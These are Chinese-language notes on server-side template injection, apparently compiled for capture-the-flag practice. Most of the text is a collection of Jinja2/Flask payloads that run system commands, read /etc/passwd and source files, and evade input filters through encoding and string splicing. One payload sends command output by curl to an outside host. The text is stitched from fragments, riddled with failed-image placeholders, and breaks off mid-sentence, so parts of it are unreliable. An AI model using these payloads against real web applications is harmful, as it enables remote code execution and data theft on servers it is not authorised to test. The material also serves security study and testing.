[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xhoPMsmE-1663477021410)(images/LjZ9mqCMvT6xyFlqLIky-XBWvOo36KQpxc8Yp7agLdA.jpg)]
各框架模板结构:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C5wrnBzg-1663477021410)(images/NcsQ1PiKwqmrfPlyk61ZDIuOA62PWLqF94DAZghxarg.png)]
{{7*‘7’}} 回显7777777 ==> Jinja2
{{7*‘7’}} 回显49 ==> Twig
Smarty:Smarty 一种很老的PHP模板引擎了, 使用的比较广泛
Twig: 是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和 liquid。
Blade: 是 Laravel 提供的一个既简单又强大的模板引擎。
和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。
JSP
FreeMarker
FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
Velocity
Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。
django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了
就注入类型的漏洞来说,常见 Web 注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。注入漏洞的实质是服务端接受了用户的输入,未过滤或过滤不严谨执行了拼接了用户输入的代码,因此造成了各类注入。下面这段代码足以说明这一点:
// SQL 注入
$query="select * from sometable where id=".$_GET['id'];
mysql_query($query);
-------------华丽的分割线-------------
// 模版注入
$temp->render("Hello ".$_GET['username']);
而服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,这里我们使用 PHP 模版引擎Twig 作为例子来说明模板注入产生的原理。考虑下面这段代码:
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig=newTwig_Environment(newTwig_Loader_String());
$output=$twig->render("Hello {{name}}",array("name"=>$_GET["name"]));// 将用户输入作为模版变量的值
echo$output;
使用 Twig 模版引擎渲染页面,其中模版含有 {{name}} 变量,其模版变量值来自于 GET 请求参数$_GET[“name”] 。显然这段代码并没有什么问题,即使你想通过 name 参数传递一段 JavaScript 代码给服务端进行渲染,也许你会认为这里可以进行 XSS,但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eU2Cq8s4-1663477021411)(images/OhRjt-s9mfvlPta3Abu3zNWdhXit9OXeLoeDetnTDME.png)]
但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig=newTwig_Environment(newTwig_Loader_String());
$output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
echo$output;
上面这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,测试结果显而易见:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6tq4s2jL-1663477021411)(images/hYoP63ZH1MUl6b5yzQmQOt-hb7Un7dSO24sJWCN37Rs.png)]
小学的时候拿别人的好词好句,套在我们自己的作文里,此时我们的作文就相当于模板,而别人的好词好句就相当于传递进模板的内容。
那么什么是模板注入呢,当不正确的使用模板引擎进行渲染时,则会造成模板注入
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V6eGjIbl-1663477021412)(images/k7JdUfd2y98UmJqdX_oJDdthODC-soDoq1vu3YDGP60.png)]
在Python的ssti中,大部分是依靠基类->子类->危险函数的方式来利用ssti
当我的payload是一个模板语言的时候,该漏洞首先会将该模板语言进行第一次渲染,即将模板语言里面的值替换为其能找到的变量(第一次渲染结束),在进行第二次渲染的时候,由于没有传值进来,故会将第一次渲染后的结果在页面上显示出来。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mUj2WWFd-1663477021412)(images/i8YdH6Yt3y2YISiMKPbc7JFu2-R7kbWWW12WMrI7Ayg.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d2XosfVR-1663477021412)(images/yxQahWxf5Cbb2vs3UO_651DP0m1lOkXq3o5t9fX8OZw.png)]
Flask使用jinja2作为模板引入
上面已经讲明了模板注入的形成原来,现在就来谈谈对其进行检测和扫描的方法。如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。
借用本文第二部分所用到的代码:
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig=newTwig_Environment(newTwig_Loader_String());
$output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
echo$output;
在 Twig 模板引擎里, {{var}} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值,例如这里用户输入 name={{2*10}} ,则在服务端拼接的模版内容为:
Hello{{2*10}}
Twig 模板引擎在编译模板的过程中会计算 {{2*10}} 中的表达式 2*10 ,会将其返回值 20 作为模板变量的值输出,如下图:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-u6xRloxg-1663477021413)(images/1dZBUXF8KfzrsCE1MNZo5CGHxZJMRhg2kdVZGY-AKVw.png)]
现在把测试的数据改变一下,插入一些正常字符和 Twig 模板引擎默认的注释符,构造 Payload 为:
IsVuln{# comment #}{{2*8}}OK
实际服务端要进行编译的模板就被构造为:
HelloIsVuln{# comment #}{{2*8}}OK
这里简单分析一下,由于 {# comment #} 作为 Twig 模板引擎的默认注释形式,所以在前端输出的时候并不会显示,而 {{2*8}} 作为模板变量最终会返回 16 作为其值进行显示,因此前端最终会返回内容 Hello IsVuln16OK ,如下图:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QLjAvTS1-1663477021413)(images/HW-NUFnoGQpsDa4LXAwfT4asKDi8VFmmmCbaMxaZyso.png)]
1、a.b:
如果对象的属性存在,就会调用对象中的__getatribute__(b)
2、a.[‘b’]
如果对象的属性存在,就会调用对象中的__getitem__(b)
例如:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8U1RYnzy-1663477021413)(images/e0DAvxeZrfcREJYlXosRjQToSZmKpRUCMu_xPs-Uc20.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kK1tUY52-1663477021414)(images/hBZ40TvnIGnHvTuFGNKAukhQlC4roGqL67Jxb7CFrxc.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dZ3khFyE-1663477021414)(images/67RJyk5iGlPNa3be7vWd_R8VrB6Md3Ynhx_rv5bu10I.png)]
具体看对象允许哪种方法调用
获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块
随便找一个内置类对象用__class__拿到他所对应的类
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O7BDVodj-1663477021414)(images/1jwTlV_ZCzZ-Ky5h7qVK32IVSFOMTSL2bQZ_kTauOpY.png)]
法二更麻烦,因为需要通过[1]选取方法来找到object
获取基本类的方法
[].__class__.__base__
‘’.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0] //其他的类似
object:是所有类的父类
[].__class__.__base__.__subclasses__()
object.__subclasses__()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-guZEjGa7-1663477021414)(images/2HnnfsHU8CEfCd-MwR_h1xy-sZU4WuYZjl00oFzZokA.png)]
__class__
万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为
以元组的形式返回一个类所直接继承的类。
以字符串返回一个类所直接继承的类。
返回解析方法调用的顺序。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JKRcHlTH-1663477021415)(images/7oe7wvPMKxqw1iWeh9EYJqmSMR0D_4oH2Snpoxa–rg.png)]
可以看到__bases__返回了test()的两个父类,__base__返回了test()的第一个父类,__mro__按照子类到父类到父父类解析的顺序返回所有类。
__subclasses__()
获取类的所有子类。
__init__
所有自带带类都包含init方法,便于利用他当跳板来调用globals。
__globals__
function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。
例子分析:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rxfxO8FY-1663477021415)(images/2VQALGA6ncSV52vaXQxSIk_ZhfBx0HHOuy8GDuo-N8M.jpeg)]
或者:
获取到subclasses后,初步看一下没有能直接执行命令或者获取文件内容的,接下来使用init.globals来看看有没有os module或者其他的可以读写文件的模块
{{“”.__class__.__mro__[1].__subclasses__()[303].__init__.__globals__}}
这里可以用burp来爆破303这个数字,从0爆破到一千,可以发现有很多个内置类都可以使用os这个模块,于是就可以利用os模块里的popen函数执行系统命令,
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-74XIVIPB-1663477021415)(images/9Pq40afei1anZFXEQka3z3LQ7cJJVfXvrcageWfdq1U.png)]
最终payload:
{{“”.__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[“os”][“popen”](“whoami”).read()}}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BaZEMDCF-1663477021415)(images/LEAHS8OcqRc-lBu37xVtS3XcvxI8U25SKyfNNpNDsbw.png)]
>>> [].__class__
<type 'list'>
>>> [].__class__.__base__
<type 'object'>
>>> [].__class__.__base__.__subclasses__
<built-in method __subclasses__ of type object at 0x55a9f3d5cb80>
>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
>>> [].__class__.__base__.__subclasses__()[40]
<type 'file'>
>>> [].__class__.__base__.__subclasses__()[40]('/etc/hosts','r').read()
'127.0.0.1tlocalhostn127.0.1.1tdebiannn# The following lines are desirable for IPv6 capable hostsn::1
[].__class__.__base__.__subclasses__()[40]('/etc/hosts','r').read()通过调用File函数来读取或者写文件。
“”.__class__.__mro__[-1].__subclasses__()[40](‘/etc/hosts’).read()
os._wrap_close类里有popen。
可以从含有os的基类入手,比如说linecache
可以使用__import__的os。
__builtins__下有eval,__import__等的函数,可以利用此来执行命令。
在python3中file类被删除了,所以以下payload只有python2中可行。
用dir来看看内置的方法:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QYPjOFRB-1663477021416)(images/rWTtbX9lxs7hcawWpg4cnwnbh1Df8M_sbVRNtye04p0.png)]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()
#写文件
"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')
#python2的str类型不直接从属于属于基类,所以要两次 .__bases__
如果遇到SSTI,我们要知道一个python-web框架中哪些payload可用,那一个一个发请求手动测试就太慢,这里就需要用模板的控制语句来写代码操作。
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'ev'+'al' in b.keys() %}
{{ b['ev'+'al']('__impo'+'rt__'+'("o"+"s")'+'.po'+'pen'+'("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RTOxdAkB-1663477021416)(images/8z44D98XREcU3SE7l-G5qkCtyaGD2cZestppuoCC2Xk.png)]
分析:
第一条语句
{% for c in [].__class__.__base__.__subclasses__() %}
先一步步来,我们将payload一行行拆开,了解每一行的作用到底是什么,首先我们需要知道在python中’.__class__'是用来获得当前数据实例化的类是什么的,举个例子:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AmlQZ2xI-1663477021417)(images/ecr7SWCxkuAFNfJZCQkmQGb2ROX1n74n9Qi41BU9RxY.png)]
我们可以看到,利用’.__class__‘获得了对应数据所使用的类,因此payload第一句是获得’[]'对应的类为"
接着’.__bases__‘和’.__mro__'类似,是获得该类的父类集合的元组,简单的例子如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dbZyKuIl-1663477021417)(images/n1un5Myz16njd8fkwmSf8dLRH1QDmKme1pKiHD9q8OY.png)]
这个属性是用于查看类中所有存活子类的引用,可以理解为只要有子类应用该父类,其返回就会包含该子类,我们已经知道了object是所有类的父类,因此利用Object基类去调用该属性,会返回所有可调用的子类,如下图:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7v7iD9BK-1663477021417)(images/uOMdHGHoR9aws7WVfyth44Dpq1hRgJlcj9gylyM5Rfc.png)]
因此第一条语句是在用for循环进行遍历寻找可调用类中的子类.
第二条语句
{% if c.__name__ == ‘catch_warnings’ %}
这个属性常常用if__name__=='__main__'作为语句开始,他的作用是获得当前调用模块的名字,因此这条语句的作用是判断当前使用模块的名字是否为"catch_warnings".
同时我们需要知道访问os模块是从warnings.catch_warnings入手的,这里就相当于我们在寻找os模块
第三条语句
{% for b in c.__init__.__globals__.values() %}
这个语句首先将查找到os模块进行实例化,然后利用__globals__查找该模块下一个包含可使用的方法和变量的字典,后面那个values()实际上是调用Python字典里面values()方法,将键值对的值取出并将这些值进行迭代。
第四,五句语句
{% if b.__class__ == {}.__class__ %}
{% if ‘eval’ in b.keys() %}
这两句先是查找了b中类与字典类相同的变量和函数(模块中的函数是以键值对的形式存储的,因此需要寻找同字典类型的类),然后再在对应b中寻找有无’eval’为Key值的存在,举个例子就知道这条语句在干什么了,例子如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q34BP99i-1663477021418)(images/EytC_NhGvQ2bQjQGknr9-Ti-zvYl02q-HFBb-qWbGIE.png)]
这里我们看到已经找了eval函数的所在地了,现在需要做的只是使用它
第六句语句
{{ b[‘eval’](‘__import__(“os”).popen(“id”).read()’) }}
这里相当于调用了eval()方法执行我们需要注入的内容,然后利用__import__动态加载入了os模块,利用.popen()方法打开一条系统通道,在执行这条命令之后返回了一个file类型的对象,从而可以让我们读取执行命令之后的内容,随后利用file对象里的read方法进行读取,从而获得回显.
原理就是找到含有__builtins__的类,然后利用。
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
#读写文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('文件名', 'r').read() }}{% endif %}{% endfor %}
#读取源代码文件
{% for c in [].__class__.__mro__[-1].__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
#字符串拼接绕过waf,读取根目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__im'+'port__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
或者
{% for c in [].__class__.__mro__[-1].__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__im'+'port__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
#读取flag
#法一:拼接法
{% for c in ().__class__.__mro__[-1].__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_f' + 'lag.txt','r').read()}}{% endif %}{% endfor %}
#法二:切片法
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
这种payload思考方法和前面的类似,都是通过基类object进行查找,找到os所在的位置然后执行相应的系统命令,同类型的payload有:
[].__class__.base__.__subclasses__()[(warnings.catch_warnings所在位置)].__init__.func_globals.linecache.os.popen('id').read()
这里利用了一个.func_globals属性是用于查找该类下的全局函数,后面的.linecache则是读取任意文件的某一行,通过这个方法找到os,然后再利用popen()执行系统命令,并用read进行读取.
https://eastjun.top/2021/10/22/ssti_bypass/
“”.__class__.__mro__[2] “”.__class__.__mro__.__getitem__(2).__subclasses__()[300].__init__.__globals__[“os”][“popen”](“whoami”).read()}}
‘’.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)(‘/etc/passwd’).read()
__builtins__[‘eval’]() __builtins__.eval()
经过测试这种方法在python解释器里不能执行,但是在测试的题目环境下可以执行
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HMrz4n6i-1663477021419)(images/sXM3FAUVnd0F6F7E4JLyfzVtNf8-LI-IFo630TbE0Q0.jpeg)]
原理:
回看最初的payload,过滤中括号对我们影响最大的是什么,前边两个中括号都是为了从数组中取值,而后续的中括号实际是不必要的,globals[“os”]可以替换为globals.os。
所以过滤了中括号实际上影响我们的只有从数组中取值,然而从数组中取值,而从数组中取值可以使用pop/getitem等数组自带方法。
不过还是建议用getitem,因为pop会破坏数组的结构。
pop() 方法移除数组的最后一个元素,并返回该元素
来自* <https://www.w3school.com.cn/jsref/jsref_pop.asp> *
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WXcmoR1o-1663477021419)(images/ZwPEJ-dV7WBnyLy-MNLjpOOEW2KxcN_Omu_Y3YLN-lU.png)]
a[0]与a.getitem(0)的效果是一样的,所以上述payload可以用此来绕过:
{{“”.__class__.__mro__.__getitem__(1).__subclasses__()[300].__init__.__globals__[“os”][“popen”](“whoami”).read()}} |
|---|
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oII9FOws-1663477021419)(images/StqOCtCRcBd6oeh6bsl-D4o2Ya5L87Fn1b986Zb_3Rk.png)]
web363-过滤‘“
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.a).read() }}&a=/etc/passwd
?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a=cat /flag
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read()}}&cmd=id
PS**:将其中的request.args改为request.values则利用post的方式进行传参**
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read()}}
原理:
回顾我们上面的payload,哪里使用了引号?
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-quVN0Srk-1663477021419)(images/DZfxax6JDAXqyS6VKVWOcQ1Z0vwS-v7juAWCLvVKdWU.png)]
接下来思考对应的解决办法,首先第一个引号的作用是什么,是为了引出基类,而任何数据结构都可以引出基类,所以这里可以直接使用数组代替,所以上述payload就变成了:
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}
在fuzz的时候发现,数据结构可以被替换为数组、字典,以及数字0。
再看看后面的引号是用来干嘛的,首先看看.init.globals返回的是什么类型的数据:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rQS8Vw1X-1663477021420)(images/nSvwVCX1mcxiUXhTfHtrYZxncrs6QUVQzlCxdy6lmEU.png)]
所以第一个引号就是获取字典内对应索引的value,这里我们可以使用request.args来绕过此处引号的过滤。
request.args是flask中一个存储着请求参数以及其值的字典,我们可以像这样来引用他:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RBpfJ615-1663477021420)(images/tMj2Lc8mr9WDjHEMcGUgQt8b_7j1SEfKBVNzObYjVAY.jpeg)]
所以第二个引号的绕过方法即:
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os
后面的所有引号都可以使用该方法进行绕过。
还有另外一种绕过引号的办法,即通过python自带函数来绕过引号,这里使用的是chr()。
首先fuzz一下chr()函数在哪:
payload:
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mymBu851-1663477021420)(images/MRoZk7D8uoCNOEw0zKMo5fxTQIUpTnCcvIQK2woa_ZE.png)]
通过payload爆破subclasses,获取某个subclasses中含有chr的类索引,可以看到爆破出来很多了,这里我随便选一个。
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}
接着尝试使用chr尝试绕过后续所有的引号:
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZHvk46MS-1663477021420)(images/RBJxbcvDqQTrZLzb8FCG0MAhEbpDfrwnR7gtKH_o4FU.png)]
比如:__class__ => \x5f\x5fclass\x5f\x5f
_是\x5f,.是\x2E
过滤了_可以用dir(0)[0][0]或者request[‘args’]或者 request[‘values’]绕过
但是如果还过滤了 args,我们可以用request[‘values’]和attr结合绕过
例如’'.__class__写成 ‘’|attr(request[‘values’][‘x1’]),然后post传入x1=__class__
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()}}&class=__class__&mro=__mro__&subclasses=__subclasses__
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://b28062db-2569-4bb7-a389-20e3448457ef.challenge.ctf.show/?name=`whoami`').read()=='p' %}1{% endif %}
CTF题中沙盒环境可能会阉割一些模块,其中内建函数中多半会被删除。
reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2
del __builtins__.__dict__['__import__'] del __builtins__.__dict__['eval'] del __builtins__.__dict__['execfile']
reload(__builtins__)
这个方法之前介绍过了,获取属性。
[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]
等价于
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
可以采用attr()或[]绕过
举例:
正常payload:
url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}
?name={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}
|attr(‘__getitem__’)使用【】前加上这个
可以用getitem()用来获取序号
?name={{''.__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}
{{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
需要注意的一点是,如果题目过滤了小括号,那么我们就无法执行任何函数了,只能获取一些敏感信息比如题目中的config。
因为如果要执行函数就必须使用小括号来传参,目前我还没找到能够代替小括号进行传参的办法。
{{config}}可以获取当前设置,如果题目类似app.config [‘FLAG’] = os.environ.pop(‘FLAG’),那可以直接访问{{config[‘FLAG’]}}或者{{config.FLAG}}得到flag
但是如果被过滤了
{{self}} ⇒
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
https://blog.csdn.net/miuzzx/article/details/110220425
https://www.anquanke.com/post/id/188172
例:直接过滤了敏感字符,如eval,os等。
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
base64
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}} (可以看出单双引号内的都可以编码)
rot13
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['riny'.decode('rot13')]("__import__('os').popen('ls').read()")}}
16进制编码
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['6576616C'.decode('hex')]("__import__('os').popen('ls').read()")}}
拼接字符串(base64,hex,rot13也可以进行拼接)
过滤了(ls.import.eval.os)
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['e'+'val']("__im"+"port__('o'+'s').popen('l'+'s').read()")}}
Flask在渲染模板的时候,有
“”.__class__===“”[“__class__”]
这一特性,把上下文变成了[]中的字符串,这个特性经常会被用来绕过点号的过滤。
由于里面的内容已经是字符串了,还可以做一个这样的变形
"".__class__===""["__cla"+"ss__"]
"cla"+"ss"
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
"__ssalc__"[::-1]
但是实际上加号是多余的,在jinjia2里面,“cla”"ss"是等同于"class"的,也就是说我们可以这样引用class,并且绕过字符串过滤
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
{{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}
注意:+号要编码%2b
base64**、**rot13、16进制编码
“__class__”“\x5f\x5fclass\x5f\x5f”“\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f”
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")
等价于
